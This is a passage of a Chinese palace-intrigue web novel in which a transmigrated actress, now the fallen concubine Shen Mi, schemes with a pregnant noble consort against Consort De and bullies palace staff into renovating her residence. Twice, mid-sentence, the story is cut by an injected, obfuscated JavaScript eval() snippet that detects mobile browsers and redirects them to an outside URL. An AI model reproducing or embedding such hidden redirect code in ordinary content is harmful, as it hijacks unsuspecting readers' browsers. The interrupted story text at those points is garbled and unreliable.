几人见沈宓吃得格外香甜,脸上先是有些诧异,原身当年为了争宠,养得一段细腰,盈盈不堪一握,平日里用膳和猫儿似的,两三口便饱了。不想今日是饿坏了,还是改了脾性。 不过很快他们也无暇思虑,只见自家娘娘的樱桃小嘴一张一和间,就吃下了颗浑圆扎实的肉丸,腮鼓成两个小包子,不疾不徐地耸动着,眉间微蹙,一双桃花眼顿时碎慢了笑意,似星辰点点,莹莹生光,让人觉得那肉丸是真真有滋味儿。 于是,人人手中的筷子都快夹出了火星子。 沈宓埋头苦吃间,无心注意到这殿中的微妙变化。只是舌尖儿刚尝出点儿好滋味来,肚子就撑得胀疼,真是一会儿天堂,一会儿地狱,看着满桌美食,沈宓再次留下不争气的泪水。 福喜见状,忙起身轻抚她的后背,“娘娘这是怎得了?” 太监常恩不明就里,平时也是个憨头憨脑的,怯怯地问道:“娘娘莫不是现在后怕,吓哭了?” 常九照着他头上就是一巴掌:“放肆,胡说些什么呢?” 常恩忙打起自己的嘴,“是我不好,是我胡说,该打该打!” 众人忙劝,脸上却不由得黯淡了下去,想想刚才大闹御膳房确实痛快,可静澜轩如今在这宫中的地位······ 沈宓硬生生被殿里闷沉的气氛给扯回了神,她没好气道:“你们一个个都是什么丧气样儿,本宫看起来就那么不着调吗?” “奴才不敢!” “嘴上不敢,心里指不定怎么想呢!”沈宓嘁了声,有些烦躁地瞪了众人一眼,不过此时训话没有用,必得拿些手段出来,否则不用别人出手,她们静澜轩自己就先窝囊死了。 今早福灵称病告假,福喜便来送膳食,福灵看着琳琅满目的食盒,一时间有些怔愣,“这是?” 福喜叹了口气,便把大闹御膳房的事儿一股脑儿说了,“福灵姐姐你不在,静澜轩里都没了拿主意的人,也劝不住娘娘。” 福灵闻言心中大喜,晴嫔果然还和从前一般,即使清醒了,也是个狗肚子里藏不住二两香油的蠢材草包。 她面上却不显,装出一副愤恨又痛快的样儿来,“御膳房那帮黑心肝的实在可恨,娘娘既然好了,闹一闹也好,要不然宫中都快忘了咱们静澜轩的人了。” “话是这么说,可如今金贵人那边还没传来消息,咱们免不了要提心吊胆的。”福喜搓着手指头,眉头皱得快展不开。 “可娘娘心里苦闷啊,我这边身子好了自会好好劝劝娘娘,你们这几天伺候时也想法子让娘娘高兴高兴,才是正理。否则,再憋出病来可怎么办啊?”福灵握着福喜的手,语重心长。 福喜这才点了点头,抬手轻轻擦了擦眼角,“还是姐姐见事明白,咱们现在当然还是以娘娘的身体为重。那我先去伺候娘娘了,姐姐先用膳吧。” 送走了福喜,福灵看着那满满当当的食盒,脸上浮起一抹冷笑。 4. 第四顿饭 用完膳后,沈宓看着妆镜里枯黄干瘦的脸,其实底子是很好的,依稀还能捕捉到当年倾国倾城的一抹颜色,只可惜被疾病和岁月损磨得不成样子。 若是下大功夫去遮掩,上浓妆提气色,反而费时费力易车祸。于是她让福清梳了简单的小团髻,挑了支白透粉的海棠花珍珠簪子,妆容往温润淡雅上画,总算因地制宜地酿出了些病美人的味道。 如此一来,比之从前,也叫人耳目一新。 “如此甚好,摆驾启祥宫。” 今早自家娘娘忽地要打扮起来,宫里的人都喜上眉梢,她们苦熬了三年,原本就抱着老死宫中的念头了,哪曾想还能有这峰回路转的好时候啊。 尤其是福喜,围着沈宓转来转去,像只闻了猫薄荷的傻猫,盯着她的妆容看个不停。 乍一听沈宓吩咐,还没反应过来,下意识就来了句:“啊?去启祥宫,送死吗?” 沈宓气得白眼翻飞,这傻姑娘,真是怕她传染了自己。 福清忙扯开她,小声嘟囔着:“姐姐糊涂了,说什么呢?”但她脸上也带着惊疑,更不用说侍候在一边的常盛、常恩、常九了。 沈宓没了脾气,耷拉着眼皮笑起来:“对,本宫今天带你们去投个好胎。” 宫中管着嫔妃出行仪仗的是尚仪局,负责的宫人们倒的确是礼仪人也,使了些银钱,便给配了一架八成新的步辇。 沈宓坐在晃晃悠悠跟个摇篮似的圈椅上,看着紫华宫的红墙金瓦,恍惚间,好像回到了当年游故宫的时光。 宫道幽长,似乎没有尽头。宫人们见仪仗来,纷纷垂首行礼,沈宓回过神自嘲一笑,今人不见古时月,今月曾经照古人。此时,骄阳大盛,天空澄蓝如画,李白的这句千古绝唱倒是合情但不和景了。 罢了,苏轼曾说休对故人思故国,且将新火试新茶,如今故国不知何处,徒留她一个故人,也只能且诗且酒趁年华了。 轿辇刚落地启祥宫大门,就看到几位太医交谈着走了过来。 受过礼后,沈宓慢悠悠问道:“金贵人的龙胎可保住了?” “回娘娘的话,保住了,只是胎像不稳,还需好好保养才是啊。”太医恭敬又谨慎地回道。 “是吗?可本宫瞧金贵人昨日还生龙活虎,到处耀武扬威的,怎么身子会如此虚弱,竟致胎像不稳呢?”沈宓垂眸,语气倏忽冷沉下来。 太医脸上闪过一丝犹疑,只是宫里的人都是人精,很快又稳住心神,四平八稳地回道:“禀娘娘,贵人主子身子原本是极好的,不曾想遭受惊吓,心悸难安,胎象自然受损。” 沈宓皮笑肉不笑地轻敲着轿辇的扶手,“奥,你的意思是本宫让金贵人受惊了?” 太医忙把脊背压得更低,连连告罪:“微臣不敢。” “金贵人为何滞留宫中未随圣驾前往行宫避暑,你们心知肚明,打量着本宫之前病了诓骗本宫呢?可如今本宫病愈了,这满宫中就属本宫位份最高,你们说话行事可要小心些,本宫可没那么好糊弄!” “娘娘恕罪,臣等不敢。” 沈宓并未叫起,懒洋洋下了轿辇,丢下一句冷哼,一步三摇地向前走去。 不趁机压一压这些太医,等金贵人真的有事儿了,将来还指不定怎么往她身上泼脏水呢。 烈阳洒在启祥宫大门牌匾烫金的大字上,有种说不出的金尊玉贵,门后巍峨连绵的宫殿飞檐更是华丽精致,沈宓眼睛一痛,不由得想起又破又烂的静澜轩。 这万恶的深宫啊,没有点儿手段,随时都能低到尘埃里,被人一脚脚碾死。 行至正殿,刚站到月台上,金贵人的大宫女珊瑚就气势汹汹地堵在了跟前。 她潦草地福了福身,很不客气道:“晴嫔,你竟还敢登启祥宫的门?” 沈宓冷冷地扫了珊瑚一眼:“本宫敢不敢登启祥宫的大门,不是由你一个宫女来评判。一条狗叫得好而已,倒摆起主人的款儿来了。” “你!”珊瑚气得眉毛倒八,“我们家贵人怀着龙胎,金贵无比,晴嫔,你屡次三番挑衅生事,意欲何为?就不怕皇上怪罪吗?” 沈宓嗤笑一声:“本宫生事?本宫看你不过二八,怎得老眼昏花、昏头昏脑了?本宫半个月前还在病中,连静澜轩的门都出不去,倒是你们主仆一次两次像群疯狗般上来撕咬,如今倒反过头来把脏水往本宫身上泼。”她走近两步,视线在珊瑚脸上刮了一圈儿:“好大的胆子啊。” 珊瑚趾高气扬地叉起腰冲沈宓挑了挑眉,“是又如何?晴嫔娘娘,您在宫中沉浮七载,难道还不知道,您已经年老色衰,色衰爱弛,失宠啦。您猜,皇上会信谁的话呢?” 沈宓淡淡一笑:“自然是活人的话,毕竟,死人不会说话。” 珊瑚被沈宓眸中冰寒的杀意吓得哆嗦了下,这才知道害怕,“晴,晴嫔,你要做,做什么?这里,啊!你竟敢命你的太监打我!” 沈宓懒得搭理珊瑚,饶过珊瑚径直朝启祥宫正殿走去。 “贱人,你竟然还敢来!”仇人见面,金贵人病白的脸上立刻一片怒红, 沈宓蹙着眉,脸上好似满是关切,“金贵人,你还真是好了伤疤忘了疼,胎象不稳,还敢动怒呢?” “你!”金贵人慌忙捂着肚子,又气又憋屈,眼角立刻崩出泪来。 大宫女明珠见状,忙走上前来,愁苦的一张脸上又是乞求又是埋怨,“晴嫔娘娘,就当奴婢求您了,您明知我们小主胎象不稳,又作何这般激怒她呢?若我们小主腹中的龙胎真的有事,您又能讨得了什么好嘛?” 沈宓眼睛锐利地瞪向她,只盯得人深深埋下头,俯下身,不甘不愿地请了声罪。 珊瑚这时捂着被常盛打肿的脸冲进来怒骂道:“晴嫔,你竟敢如此欺辱我们启祥宫,当真以为我们启祥宫无人了吗?” “好得很,本宫竟不知妹妹宫中竟养了这么位人才,小小的宫女对上主位娘娘,厉害得要吃人一般,真是无法无天了。”沈宓语气冰冷,脸上却是笑盈盈的。 落在金贵人眼里,气得脖子都红了,她几乎咬牙切齿道:“无法无天又如何?主位娘娘?你这个老贱人也配!本主今日定要把你打进慎刑司,把你折磨至死!” 沈宓眸中闪过一抹决绝的狠厉,“是嘛,既然妹妹本事这样大,那就看看今日是你先把本宫打入慎刑司,还是本宫先打掉你腹中的孩子!” “贱人你!”金贵人几乎目眦欲裂,还是明珠哭喊着扑到她面前,声泪俱下地劝道:“小主啊,奴婢求求你了,勿要动怒,您难道忘了太医的嘱咐吗?” 沈宓撇了撇嘴,“还是明珠懂事理,知道心疼你。不像这位昏头昏脑的,明知道妹妹你生不得气,还上赶着火上浇油,生怕咱们不闹起来似的。” 珊瑚脸色怒变,声音尖细道:“奴婢没有,奴婢只是!” “滚出去!若再惊到了小主,我第一个撕烂了你!”明珠眼神如刀,像要杀人似的,尽管珊瑚还委委屈屈得想要说什么,终究还是缩了缩脖子退了出去。 此时金贵人脸上也露出了丝疲惫,苦着一张脸,很是不耐烦道:“晴嫔,你到底要干什么?” 沈宓眸色深深地看着金贵人,笑了笑:“救你。” 金贵人怔愣了片刻,忽地笑了起来:“晴嫔,你怕是疯病又犯了,救我?亏你······” “是啊,人疯了自然会言行无状,百无禁忌,若是撞上了位孕妇,你猜会怎么着,金贵人?” 寝殿内霎时静了下来,落针可闻,只有冰轮吱呦吱呦地转着,送来的凉气让人遍体生寒。 金贵人面色还呆傻着,明珠却已起身,驱散了殿中伺候的宫女,随即朝沈宓恭恭敬敬地行了个礼,“我们小主孕中苦闷,脾性不定,有冲撞娘娘的地方,还望娘娘体谅我们家小主孕中艰难,宽恕则个吧。奴婢愿意替我们家小主受罚,娘娘您心胸宽广,又心性慈悲,无论怎么责罚奴婢,奴婢都认!”说着说着,明珠已泪流满面,好不可怜。 倒是个能屈能伸,又心思聪慧的,沈宓也乐得卖她个面子,便顺势坐到了一侧的坐榻上,懒懒地倚着软和的靠背,哎,真舒服。 “那就要看你家小主,能不能识好人心了。” 金贵人剜了沈宓一眼:“晴嫔!昨日的事满宫里都知道了,我若真的小产,你也脱不了干系!” “所以呀,金妹妹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914499|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这宫里头最不可能害你的人就是本宫了。”沈晴笑眯眯地对上了金贵人的视线。 金贵人哑口无言,顿了好一会儿,到底败下阵来,垂头叹了口气,“你到底想说什么?” “两个月前,皇上带着众妃行宫避暑,唯独你滞留下来,想必那时候胎象就出了问题,且问题还不小。那么就算与本宫有深仇大恨,你也该好好将养着,等日后再算账,为何会急不可耐地冲到本宫宫中闹起来?本宫若是疯起来推了你,撞了你,害了你肚子里的孩子,那也是合情合理,到时候就是查都不知道如何查。” 沈宓嫌弃地白了金贵人一眼,又说道:“你个蠢出生天的东西,也不好好想想,自己的宫中是否已经混进了奸细,撺掇着你上赶着自掘坟墓呢。” 明珠闻言立刻紧握住金贵人的手臂,刚要说什么,金贵人却比她快,脱口而出就骂道:“是德妃,一定是德妃这个老贱人!” 沈宓厌烦地掀了掀眼皮,这金贵人还真是蠢得挂相,且不说她很快信了自己的三言两语,竟然在她面前咒骂德妃,难道不知道她和德妃的新仇旧怨嘛? 离当年大选入宫已经三年了,金贵人这个脑袋里还是一如既往的洪水泛滥啊。 “是不是德妃本宫不得而知,只是妹妹你若再不小心宫里的奸细,恐怕就没有今日的好运了。”沈宓状似好心地劝道。 “奴婢之前就劝小主好好在宫中养胎,万事都等着诞下皇嗣再说。可小主你偏偏信那些贱蹄子说的,不顾身子非要出去。奴婢从小就跟着小主,伺候小主,和小主一起长大,一心一意做什么不是为小主考虑?府中的老爷太太还等着小主平安诞下皇嗣,光耀门楣呢,您可不能再任性下去了啊,小主!”明珠一把鼻涕一把泪,端得是忠心护主,任谁都挑不出错来。 金贵人这种心思浅薄的蠢货,自然也被被感动得眼眶通红,哽咽起来。 主仆俩续了会儿温情,金贵人立刻狠下了脸,磨着牙恨道:“当初是本主着了相,今日亏得是你点醒了本主。那些个吃里扒外的东西就都交给你了,不惜一切手段,务必给本主揪住背后作怪的老贱人!” 明珠自是连连点头称是,又要表忠心,沈宓忙打断她:“妹妹也是孕中多思,那些人才有了可乘之机,不过妹妹如今有了决断,那也不算晚。本宫跟在皇上身边七年,要知道咱们皇上可是最喜欢皇嗣的了。瞧妹妹这肚子冒尖儿,八九不离十就是位皇子啊。到时候皇上一高兴,别说是嫔位,怕是妃位都当得。” 眼波一转,沈宓勾着金贵人的视线,加深捧杀,煞有介事地说道,“妹妹入宫不过三载就至妃位,那可是这后宫独一份的恩宠啊。” 这通话说完,金贵人神情都有了些迷醉,“晴嫔,你说的可是真的?” “自然是真,只是本宫方才在你宫门口遇到了太医,听了两嘴,妹妹这身子实在是叫人担忧啊。你可得好好养着,莫不要像本宫当年一般,被奸人算计,不仅痛失孩儿,还在这深宫中苦苦煎熬了数年。”说到动情处,沈宓的眼泪也是说来就来。 哼,奥斯卡她还没来得及拿,但在国内她也是得过三个影后的演技派啊。 “还不是德妃那老贱人!”金贵人神色愤愤,好像笃定了就是德妃一般。 “德妃如今协理六宫,这后宫中的确有她的人手,但到底是不是她,妹妹还是要查清楚再说。”沈宓极为贴心地说道。 “什么,难道你知道德妃在这后宫的人手?” 沈宓心中一喜,好在这蠢货还挺上道,咬住了她话里的钩子,面上却蹙着眉,装出副忧虑的模样:“本宫在这宫中病了三年,一直浑浑噩噩度日,哪有本事查到德妃的人?只是今日早膳实在被克扣得厉害,就去御膳房理论了两句,没想到那领事太监王正不仅气焰嚣张、咄咄逼人,还和本宫的人动起了手,如今想来,若不是宫里有靠山,哪能如此呢?” 这时福喜愤愤地开口接过了话茬儿:“那群人真是无法无天,我们娘娘病着,各宫拜高踩低也没见御膳房那般作践人的,还拿德妃娘娘说事儿,真是狗仗人势!” 金贵人气愤又后怕,脸色都有些扭曲:“什么!德妃的手竟然伸到御膳房了?” 5. 第五顿饭 第二日睡到日上三竿,沈宓打着哈欠刚坐到梳妆镜前,常九就小跑着进了殿,满面红光,神色亢奋,差点儿摔了个趔趄。 “娘娘!” 沈宓淡笑着瞥了他一眼:“当心些,什么事啊,毛毛躁躁的。” 常九行了个礼,机灵地说道:“奴才打听到了,昨天深夜,金贵人把贴身宫女珊瑚打入了慎刑司。另外又寻了由头说御膳房的菜色不新鲜,吃了身子不适,问责了首领太监王正,也抓了进去。一夜审问后,王正没抗住,供出了背后之人是德妃,但坚决不认陷害启祥宫之事,至于珊瑚她······” “娘娘,奴婢回来了。” 沈宓闻言稍稍侧脸,便看到福灵施施然走了进来。 “你病可大好了?”沈宓状似关切地问道。 福灵蹙了蹙眉,拿捏起恰到好处的愁容,““劳娘娘挂心,不过是小毛病罢了,尽管身上还是有些不痛快,但奴婢心中又牵挂着娘娘,想着就来了。不知金贵人宫中如今情形如何,让奴婢好生担心。” 沈宓扫了眼福灵的脸蛋,气色润泽,在静澜轩一群老弱病残里,也是头一份,可不就是小毛病嘛。她笑了笑,“这不巧了,常九刚打探完消息回来呢,我们一起听听。” 常九自然是又唱念做打地说了一通,福灵忍功再好,面上几分不自然还是没藏住。 沈宓尽收眼底,有意拿捏起阴冷的调子说道:“本宫那日见金贵人怀着身孕还气势汹汹地来就不对,珊瑚身为金贵人的心腹,明明知道自家主子胎象不稳,却还行架桥拱火之事,恨不得金贵人与本宫对上,再伤了她腹中的龙胎呢。简直是居心叵测,包藏祸心。本宫听说金贵人家世显赫,自有了身孕后更是出手阔绰,没想到这贱婢还是吃里扒外、背叛旧主,后宫自然是容不下这样胆大包天的奴才!” 沈宓说着,蓦地拍了下桌子,神色狠厉地扫视了殿内伺候的宫人一圈儿,末了,落在福灵身上,“故而,金贵人让她受尽慎刑司酷刑,也不算冤枉。你说呢,福灵?” 福灵吓傻了,脸色苍白,唇嗫嚅着,话含含糊糊地黏在嘴里,根本听不清什么。 沈宓唇角轻勾,“还以为是多厉害的货色,才受了五道刑罚,嘴里就没把门儿地把什么都招了,真是个软骨头。” 常九接过话茬儿,挑着眉眯起眼,煞有介事道:“娘娘有所不知,金贵人气狠了,要嬷嬷们上去就扒珊瑚的皮,一寸寸的,专挑嫩肉上去,啧啧啧······” 福喜和福清纷纷打了个冷颤:“哎呀,别说了,也不怕脏了娘娘的耳朵。” 话音刚落,福灵却扑通一声摔在了地上,脸色青白,额间已然蒙了层细汗。 沈宓蹙着眉,很是关切地亲自扶起她:“福灵,本宫知道你是个‘忠心’能干的,但也要仔细自己的身子,这几日就先不用来伺候了。你放心,本宫记着你的好,必会好好‘奖赏’你的。” 福灵兜头被浇了盆冷水,这是话里有话?可再看时,晴嫔人神色如常,并不能探究出什么。她竭力忍住心中的恐慌,硬扛着沈宓犹如实质的视线,唇角颤颤巍巍地挤出一抹笑意,“奴,奴婢,谢娘娘······” “福喜,你先扶福灵下去吧。” “是,娘娘。” 看着二人的背影,一个匀称苗条,一个瘦骨伶仃,当真是“颜色分明”啊。 沈宓扭脸看向镜中病歪歪的自己,对着常九继续吩咐道:“本宫如今病愈,这静澜轩也合该万象一新。用完早膳后,咱们继续去各宫讨要克扣的分例。否则,这满宫里的人还真以为本宫进了冷宫呢! 有了王正做例子,沈宓再去其他宫室要分例的时候,总管、领事们那叫一个高接远送。 不过自然也有没眼力见儿的,譬如尚服局下的司珍房,养了许多能人,对她这位失宠的老妃子不冷不热,还阴阳怪气儿的。 其中一位管事姑姑趾高气扬地说:“这宫中的分例都是按时定量发的,自打新帝入主紫华宫以来,就从没听说过补分例的。三年前的旧账也翻腾出来,没得叫下面的宫人说您疏于静澜轩的宫务,失了威信那就不好了。” 沈宓淡笑了笑,什么也没说,转头就敲响了启祥宫大门。 金贵人对她那简直是判若两人,眼睛笑得都眯不开了,还拉着她的手叫起姐姐,饶是沈宓脸皮再厚,也起了身鸡皮疙瘩。 “还要多谢姐姐助我铲除了恶奴,保住了龙胎。不然,我还不知道要受德妃这个老贱人多少算计。晴嫔姐姐,珊瑚都招了,一切都是德妃指使,让我故意去触怒你,好借你的手落下我腹中的龙胎。至于王正,也是德妃的人,这每日入口的东西德妃都要恶心我,真是好毒的算计!”金贵人说着说着就义愤填膺起来,脸上的神色也很是凶狠。 “金妹妹不要客气,本宫是失过孩子的人,自然知道你怀着孩子的艰辛苦痛,哪能袖手旁观、见死不救呢?”沈宓拿着帕子压了压红彤彤的眼角,那叫一个情真意切。 甚至福喜和福清也被戳中了伤心事,跟着揉起了眼睛。 殿内一时静默无言,还是明珠有眼力见儿,忙叫人上了几道难得的点心来,笑吟吟道:“奴婢知道晴嫔娘娘爱吃蟹粉酥,便叫小厨房的人候着,这不还新鲜热乎着呢,您尝尝。” 沈宓很是受用道:“明珠真是有心了,你主子如今身子重,这启祥宫中且得靠你们这些忠仆呢。” 明珠很是动容,“娘娘说得哪里话,这些都是奴婢们应该做的。” 沈宓瞅准时机拿起一块蟹粉酥打量了下又叹着气放下了。金贵人主仆都有些疑惑,“姐姐,你这是怎的了?” “说起来也是本宫不中用,当年没有斗过德妃那个贱人。如今德妃得皇上宠爱信重,手中握着宫权,底下的人为了讨好她,这些年来是不遗余力地作践静澜轩。本宫如今失宠落魄,想着多一事不如少一事,但妹妹怀着龙胎,身子金贵,可万万要小心德妃在宫中的其他人手,说不得,她一计不成又生歹心呢。”说着,沈宓不由得便添油加醋地提起今日之事。 金贵人闻言,脸色顿时黑成了锅底,“德妃!又是德妃!我当然不会放过她!” “本宫也会为妹妹小心留意宫中的动向,略尽绵力,妹妹可宽心,这样才对龙胎有益啊。” 金贵人不由得拉过沈宓的手,很是情真意切道:“那就多谢姐姐了。” 沈宓带着大包小包出了启祥宫,路走到一半儿,福喜和福清才回过神来,“娘娘,这金贵人怕不是也得癔症了?给咱们这么多东西?” 沈宓瞥了二人一眼,“那叫人傻钱多,奥不,什么呀,以后对金贵人放尊重些,人家是人美心善、慷慨大方!” 不说别的,光那一匣子珠宝首饰,就能顶她嫔位小半年的分例了,这才是真正的千金大小姐啊! 金贵人不光有钱,还有的是力气和手段,没到下午呢,慎刑司的人就去司珍房拿人了。 不过那人似乎后台颇高,没等入夜又放了回来。 可有点儿宠爱与权利的妃嫔想要整治一个奴才实在太容易了。更何况,金贵人经历了两次见红,已然草木皆兵。 没过几日那管事宫女就被同僚检举,说她贪墨财物、私自贩卖宫中之物,甚至为了上位不择手段害了几条人命,条条都是杀头的大罪,自然再次被请进了慎刑司。 只是这一次,她再也没有出来。 福喜看着自家娘娘整天拿着金贵人这根鸡毛当令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914500|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭,大杀四方,小小的脑袋充满了大大的疑惑,明明这俩主子以前掐得跟乌眼儿鸡的,怎么现在还狼狈为奸,谁也离不开谁了? 沈宓白了福喜一眼,不会用成语就别瞎用。什么叫狼狈为奸啊,她们这叫互惠互利! 在娱乐圈摸爬滚打了多年,从一个十八线小糊咖混到顶流,别的不说,人心与人性她还是能拿捏些的。 女明星们荧幕前争奇斗艳本质上和后宫妃嫔争宠没啥大区别,没有永远的朋友也没有永远的敌人。 遍地都是塑料姐妹花,利益才是亲爹亲妈。 更何况,金贵人可是贵妃的人,她肚子里的龙胎就是为贵妃生的。贵妃为了保金贵人的胎,估计在离宫前肯定把手中的一些人脉给了金贵人。 而金贵人一方面是投桃报李,知会了这些人给自己行个方便,另一方面也是想引出德妃的人。那么这个管事姑姑有可能不忠于德妃,但对自己如此恶劣,显然也不是忠于贵妃的,自然顺手除掉了。 这下,后宫里的人总算回过味儿来了。金贵人宫中有人,且势力还不小,而看起来已经失宠的老妃子晴嫔就是金贵人的黄金打手。 要知道宫里的主子都走了,就剩这两位位高有权又心狠手辣的。再者说,别的也就罢了,金贵人手中有慎刑司的人,就算德妃的人仗着后台头铁敢硬刚,避暑行宫离紫华宫可不近,这一来一回等援军赶到,人早就过奈何桥了。 经此一事,金贵人和晴嫔从猴代王变成了真老虎,简直让后宫各处闻风丧胆。 沈宓也不用每天出去要账了,各宫各司流水似的来静澜轩送东西,态度那叫一个前倨后恭,极尽谄媚。 她因此也见识到了古代皇宫真正的华丽金贵,什么玉石翡翠珍珠的,那都是寻常之物,现代也难寻的金丝楠木、乌木、紫檀木等的真品家具,更实打实地堆满了小仓库。 沈宓掂量着好不容易被银子盛满的荷包,大胆地做了个决定,她要在皇帝回銮前整修静澜轩! 福喜第一个不同意,许是过惯了宫中的苦日子,深知道银子的重要性。眼下是皇帝和后宫妃嫔们都去了行宫避暑,没有人情节庆的往来,要是人都回来了,刚收回来这三千多两的银子根本不够折腾的。 深宫中,没钱是寸步难行,甚至会要人命。 底下的几人老实本分,都没有说话,但显然和福喜不谋而合。 令她意外的是,福清竟然站了出来,眼神异常坚定:“奴婢知晓娘娘的心意,银子就算再省着花,也会坐吃山空,我们为什么不放手一搏呢?还是说,”她环视了众人一圈儿,“你们觉得娘娘年老色衰,再不得圣宠了?” 这下几人都吓傻了,他们可从来没有这样想过啊,只是······ 沈宓当然知道,只是老实人的惯性思维罢了,小富即安。她没法去批判这些忠心耿耿,一直跟着她的人,毕竟她本人前世奋斗半生后也选择了躺平的财富自由生活。 当今圣上正值盛年,她如今已是嫔位,如果不惹是非、老老实实熬上几年,怎么也能混上个妃位。运气再好些,等过几十年就是老太妃,彻底躺平,安享晚年。 难道富贵安闲的生活,是她不想要吗?难道和别人抢一根用烂了的老黄瓜格外香吗? 不,是她不能! 原主之前得罪太多人了,更何况,前段时间,她又和金贵人联手对宫中进行了一波大清洗。 如今后宫那些牛鬼蛇神是没回来,一旦回来了,一个怀孕的金贵人都差点儿要了她的命,难以想象皇后、贵妃、德妃、庄妃,甚至是皇上,这些人随便哪一个不能把她反复鞭尸? 真是做鬼都难! 故而,要想活下去,她必须争宠! 6. 第六顿饭 静澜轩属于东西六宫,原身没住进来之前,就是紫华宫最北边儿——北海附近一座最偏僻的小宫殿。 后来她这个疯癫老妃子又住了三年,尽管当宠妃时攒下不少老底,间或家里银钱补贴,但要吃药,还要打点宫中上下讨生活,哪有余钱管理? 长久失修,这静澜轩更是一日日破败下去,以至于现在满宫萧瑟、碎墙裂瓦、到处是荒烟蔓草。 皇帝上的是人,不是坟。要想争宠,修缮静澜轩势在必行。 沈宓拿着她亲手画的宫室图研究了半天,惊喜地发现静澜轩并非一无是处,反而是个夏日纳凉的绝佳地。 从宫门进去,是一四方院落,正中一座造型天然却不失精致的假山,西侧是一片花圃,零星点缀着几盏古朴清幽的石灯。 东侧正前方种了一棵沈宓非常喜欢的红枫,如今叶子嫩粉带绿,想必到了秋天应该红得很有意境。 西配殿是古代人的空调房——清凉殿,清凉殿后有个大水车,是从殿前的八字形水池中引水纳凉。 水池被一条临水的曲廊贯穿,正好延伸至假山下。 从西配殿沿着水池而建的波形廊就走到了一座小花园中,水廊似临水卧虹,另一侧则是草木葱荣,真是别具匠心。 东配殿不大不小,没什么特点,被福喜他们锁着,一般没人进去。 静澜轩并没有后殿,正殿后从东往西一字排开分别是小花园、小厨房和下人房。 此时的静澜轩虽说杂草丛生,破败荒芜,但不难看出造景叠山理水、曲径通幽,两处花园更如明珠点睛,老祖宗的审美,她只能大写的服。 要是放到现在,那这就是一座巧夺天工能当景观游览的小园林啊,很可能有钱还买不到呢! 而现在,这座园林是她的了!想到这里,沈宓胸口似有小鼓在捶,浑身的血都热了起来。 那么接下来只需要根据这座小园林的破败情况有针对性地修缮就好。说白了,这就是重装二手房,还不用大改,至于软装,她看着库房里还有不少好东西,如果再有缺的,大摇大摆地进内务府要,便万事大吉。 说干就干,沈宓直接来到了造办处。 管事的杜太监一脸为难,这宫中动土木可不是件小事,况且造办修缮一般都是皇上、皇后或者掌管宫权的妃嫔批示后方可施工。 当然若是宫室修缮的地方微小,嫔妃们直接来造办处提一句也是可以的,但看着晴嫔手中厚厚的图纸,这显然是想另造出座宫殿来。 “不是奴才不给娘娘办,实在是宫规难违,娘娘就可怜可怜老奴吧。”杜太监苦着脸,拉长调子说道。 沈宓若有所思地点了点头,她在脑海中仔细回忆了下旧主的记忆,的确没有搜寻到相关的条例。 但或许有另外一种可能,就是当年做宠妃的时候,她的宫殿不可能下雨还会漏水,耗子满地跑,蚊虫满天飞。 “本宫知道公公宫务繁忙,肯定体谅公公的不易。但公公,你是否也要想想本宫的难处?这几日连降大雨,本宫寝殿都快成水帘洞了,要是再下上几日,恐怕被子上的蘑菇都能拿来炒盘菜。杜公公,本宫之前流年不利,是在这宫中沉寂已久,但皇上并未禁本宫的足。你说,若是皇上秋后回銮想起本宫,来到静澜轩,见宫中堂堂正三品嫔位娘娘的宫殿这般模样会怎么想?更进一步说这事若是传到了前朝乃至天下百姓的耳中,皇上又会怎样想?” 杜公公闻言,先是一愣,等回神的时候,后背已惊起一片冷汗。他眼珠子滴溜溜地转起来,以前晴妃宠冠六宫时,他没少往人宫里跑,自然知道晴妃娘娘的手段。 当然现在是落寞了,但瘦死的骆驼比马大,更何况,这几日来宫中各宫室的鸡飞狗跳,他心里可是门儿清啊。 说到底,后宫到处都拜高踩低,但主子就是主子,更何况还是上了皇家玉碟的嫔位主子,凡事做过了头,那么他的命也就到头了。 “娘娘恕罪,老奴哪里敢欺瞒娘娘,都是底下的奴才办事不经心,让娘娘受罪了,老奴定会狠狠地责罚那些没心肝的东西!” 沈宓眉梢轻挑:“那是杜公公的事儿,毕竟造办处的事本宫可不懂。如今本宫只想知道,静澜轩的事,杜公公意下如何呢?” “娘娘千金贵体,怎可损伤?老奴这就派人为娘娘修缮屋顶以及静澜轩中其他破旧建筑,定让娘娘安心。”杜太监语气恳切道。 “安心?杜公公如此行事,本宫可安不了心。今日平白的说多了些话,口渴得紧。正巧本宫想去看看金贵人,福喜,咱们就去启祥宫讨杯茶喝吧。” 杜公公一看不好,扑通一声就跪下了,眼眶一红,差点落下泪来。 沈宓嗤笑了声,这宫里的人真是个个儿都演技派啊。 “娘娘恕罪!娘娘恕罪!奴才不是不想为您尽心,只是静澜轩说大不大说小不小,主殿的事儿您就是说铺上金瓦玉片,奴才也没有不从的,只是修缮整个静澜轩,奴才真的······” 沈宓笑了笑,“本宫自然知道杜公公的难处,若是往常,本宫定也不会让杜公公为难。只是如今皇上和其他娘娘们都在行宫中,尚不知归期,若是皇上像往年一般,起了兴致,开春才归,也不是没有的。”说起这茬儿,当时正是原身缠着皇上不回来呢,没想到现在回旋镖正中眉心。 